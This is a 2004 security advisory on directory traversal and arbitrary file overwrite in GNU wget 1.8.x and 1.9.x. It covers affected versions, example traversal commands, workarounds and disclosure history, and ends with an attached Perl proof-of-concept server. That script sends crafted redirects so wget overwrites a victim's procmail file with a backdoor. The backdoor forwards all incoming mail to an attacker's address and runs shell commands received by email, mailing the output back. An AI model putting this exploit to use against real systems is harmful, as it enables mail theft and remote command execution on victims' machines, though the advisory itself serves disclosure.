wget18x.txt

2004-12-12T00:00:00
ID PACKETSTORM:35275
Type packetstorm
Reporter Jan Minar
Modified 2004-12-12T00:00:00

Description

                                        
                                            `  
--LQksG6bCIzRHxTLp  
Content-Type: text/plain; charset=iso-8859-2  
Content-Disposition: inline  
Content-Transfer-Encoding: quoted-printable  
  
------------------------------------------------------------------------  
Summary  
------------------------------------------------------------------------  
Product: wget  
Versions: 1.8.x  
Versions: 1.9.x (to lesser extent)  
Versions: Versions < 1.8 are probably vulnerable too  
Platforms: Linux, probably POSIX, others?  
Tested: 1.8.1-6 (Debian Woody)  
1.9.1-4 (Debian Sarge)  
Problems: Overwriting/appending/creating files and directories  
Retrieving file existence, size, permissions info  
Etc.  
Remote?: Both remote and local  
Author: Jan Minar <jjminar foo fastmail bar fm>  
  
------------------------------------------------------------------------  
Background  
------------------------------------------------------------------------  
  
``GNU wget is a free software package for retrieving files using HTTP,  
HTTPS and FTP, the most widely-used Internet protocols. It is a  
non-interactive commandline tool, so it may easily be called from  
scripts, cron jobs, terminals without X-Windows [sic!] support, etc.''  
  
-- http://www.gnu.org/software/wget/wget.html  
  
wget(1) is the de facto standard HTTP retrieval program on GNU/Linux,  
both for interactive use and for use in scripts and programs. 76  
packages in the Debian Sarge currently depend on the wget package.  
  
------------------------------------------------------------------------  
Vulnerabilities  
------------------------------------------------------------------------  
  
(0) Wget authors are/were incompetent. Everything else is a corollary.  
  
In the current maintainer's own words: ``[T]he code is buggy, poorly  
commented, very hard to understand, extremely resistant to changes and  
looks like a bunch of patches put together in a careless way.  
[I]t badly needs a lot of auditing and rewriting.''  
  
-- Mauro Tortonesi in a private mail exchange with me  
  
Note: Wget has numerous commandline options which are relevant to these  
vulnerabilities.  
  
(1) Wget doesn't know which files it is permitted to write to  
  
Wget erroneously thinks that the current directory is a fair game, and  
will happily write in any file in and below it. Malicious HTTP response  
or malicious HTML file can redirect wget to a file that is vital to the  
system, and wget will create/append/overwrite it.  
  
$ cd /home/user  
$ wget http://localhost/wgettrap.bashrc  
-> .bashrc  
  
(2) Wget doesn't sanitize the redirection data properly  
  
Wget apparently has at least two methods of ``sanitizing'' the  
potentially malicious data it receives from the HTTP stream, therefore a  
malicious redirects can pass the check. We haven't find a way to trick  
wget into writing above the parent directory, which doesn't mean it's  
not possible.  
  
# cd /root [1]  
# wget -x http://localhost/wgettrap.redirect-1.9  
-> ../lib/libc-2.2.5.so [2]  
  
$ cd /foo/bar  
$ wget -r http://localhost/wgettrap.redirect-1.8  
$ -> ../../../../../../../../../home/jan/.bashrc [1]  
-> ../../../../../../../../../var/www/jan/.htaccess  
  
[1] If inetd is not running on the system, the user name can be  
social-engineered, or guessed from preceding traffic.  
  
[2] '..' must resolve to an IP address of the malicious server, or at  
least to an address, provided that we will be able to stuff data in the  
HTTP stream afterwards. The POC doesn't exploit this.  
  
  
(3) Wget prints control characters to the terminal verbatim  
  
Malicious HTTP response can overwrite parts of the terminal so that the  
user will not notice anything wrong, or will believe the error was not  
fatal. See the [1]Debian bug #261755 for details.  
  
[1] http://bugs.debian.org/261755  
  
(4) Just about any stupid hack will work with wget. %00 bytes (see the  
POC) and other %-escaped control characters handling, symlink attacks:  
=09  
$ cd /tmp  
$ ln -s index.html /path/to/foo  
$ wget -x http://localhost/  
-> /path/to/foo  
  
------------------------------------------------------------------------  
Reproduction  
------------------------------------------------------------------------  
  
A proof of concept is attached.  
  
------------------------------------------------------------------------  
Patched versions  
------------------------------------------------------------------------  
  
Not available.  
  
------------------------------------------------------------------------  
Workarounds  
------------------------------------------------------------------------  
  
(1) Don't use programs/scripts which use wget internally.  
  
(2) Use alternative retrieval programs, such as pavuk, axel, or  
ncftpget.  
  
(3) Use the -o and -O options.  
  
(4) Create two levels of new directories, cd to the directories, only  
then run wget (won't protect you when using version <=3D 1.8 with  
'-x' or '-r'):  
  
$ mkdir sand/box  
$ cd sand/box  
$ wget http://localhost/  
  
------------------------------------------------------------------------  
Bug history  
------------------------------------------------------------------------  
  
We discovered this bug few months earlier. We contacted the Debian  
package maintainer and the Debian Security Team on 2004-10-03. The wget  
maintainer had not been responding to emails at that time, so we didn't  
contact him. Few days ago, a new maintainer was appointed, who  
[1]disclosed this vulnerability.  
  
[1] http://wget-bugs.ferrara.linux.it/msg12  
  
  
--=20  
)^o-o^| jabber: rdancer@NJS.NetLab.Cz  
| .v K e-mail: jjminar FastMail FM  
` - .' phone: +44(0)7981 738 696  
\ __/Jan icq: 345 355 493  
__|o|__Min=E1=F8 irc: rdancer@IRC.FreeNode.Net  
  
--LQksG6bCIzRHxTLp  
Content-Type: text/plain; charset=iso-8859-2  
Content-Disposition: attachment; filename="wgettrap.poc"  
Content-Transfer-Encoding: quoted-printable  
  
#!/usr/bin/perl -W  
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability  
#  
# Copyright 2004 Jan Min=C3=A1=C5=99 (jjminar fastmail fm)  
# License: Public Domain  
#  
# When wget connects to us, we send it a HTTP redirect constructed so that =  
wget  
# wget will connect the second time, it will be attempting to override  
# ~/.procm4ilrc (well, provided that the user running wget has username 'ja=  
n'  
# 8-)).  
  
use POSIX qw(strftime);  
  
# This is our scheme/host/port  
$server =3D "http://localhost:31340";  
# Use this + DNS poisoning with wget 1.9 & CVS  
#$server =3D "http://..";  
  
# Wanna know who got infected?=20  
#$log =3D "/dev/pts/1";  
  
# The filename we will try to overwrite on the target system  
$filename =3D "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.";  
  
############### Payload #########################################  
$email =3D 'your@mailbox';  
$password =3D 'Pmrpuf ner cevzvgvirf';  
$payload =3D <<EOP;  
:0c  
| mail -s 'Wgettrap mail copy' $email  
:0  
* ^X-Wgettrap-Command: shell  
* ^X-Wgettrap-Password: $password  
| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'  
EOP  
chomp $payload;  
############### Payload #########################################  
  
# A simple directory traversal, for greater effect  
$trick =3D "/.." . "%2f.." x 40;  
  
open LOG, ">$log" if $log;  
  
while(<STDIN>){  
print LOG $_ if $log;  
if (/\Q$trick$filename\E/) {  
#if (/%2f/) {  
# We see the filename, so this is the second time  
# they're here. Time to feed the sploit.  
$second++;  
} elsif (/^Range: bytes=3D\(33\)-/) {  
# Appending goes like this:  
# (1) Tell'em what you're gonna tell'em  
# (2) Then tell'em just a half  
# (3) Close it  
# (4) Wait  
# (5) They're comin' back, with wget -c  
# (6) Tell'em the sploit  
# (7) Close again  
# (8) Wtf? They're comin' back with wget -c again  
# (9) Tell'em the rest...  
# (10) ... enjoying the backdoor at the same time  
print LOG "File if $1 bytes long\n" if $log;  
} elsif (/^\r?$/) {  
# The HTTP headers are over. Let's do it!  
$date =3D strftime ("%a, %e %b %Y %H:%M:%S %z", localtime);  
if (!$second) {  
# Print the payload  
print <<EOT;  
HTTP/1.1 301 Moved Permanently\r  
Date: $date\r  
Server: wgettrap 1.1\r  
Accept-Ranges: bytes\r  
Location: $server$trick$filename\r  
Content-Length: 43\r  
Connection: close\r  
Content-Type: text/html\r  
\r  
<html><head><title></title></head></html>\r  
EOT  
} else {  
# Print the redirection  
print <<EOT;  
HTTP/1.1 200 OK\r  
Date: $date\r  
Server: wgettrap 1.1\r  
Accept-Ranges: bytes\r  
Content-Length: 25\r  
Connection: close\r  
Content-Type: text/plain\r  
\r  
$payload  
EOT  
}  
exit 0;  
}  
}  
  
--LQksG6bCIzRHxTLp--  
`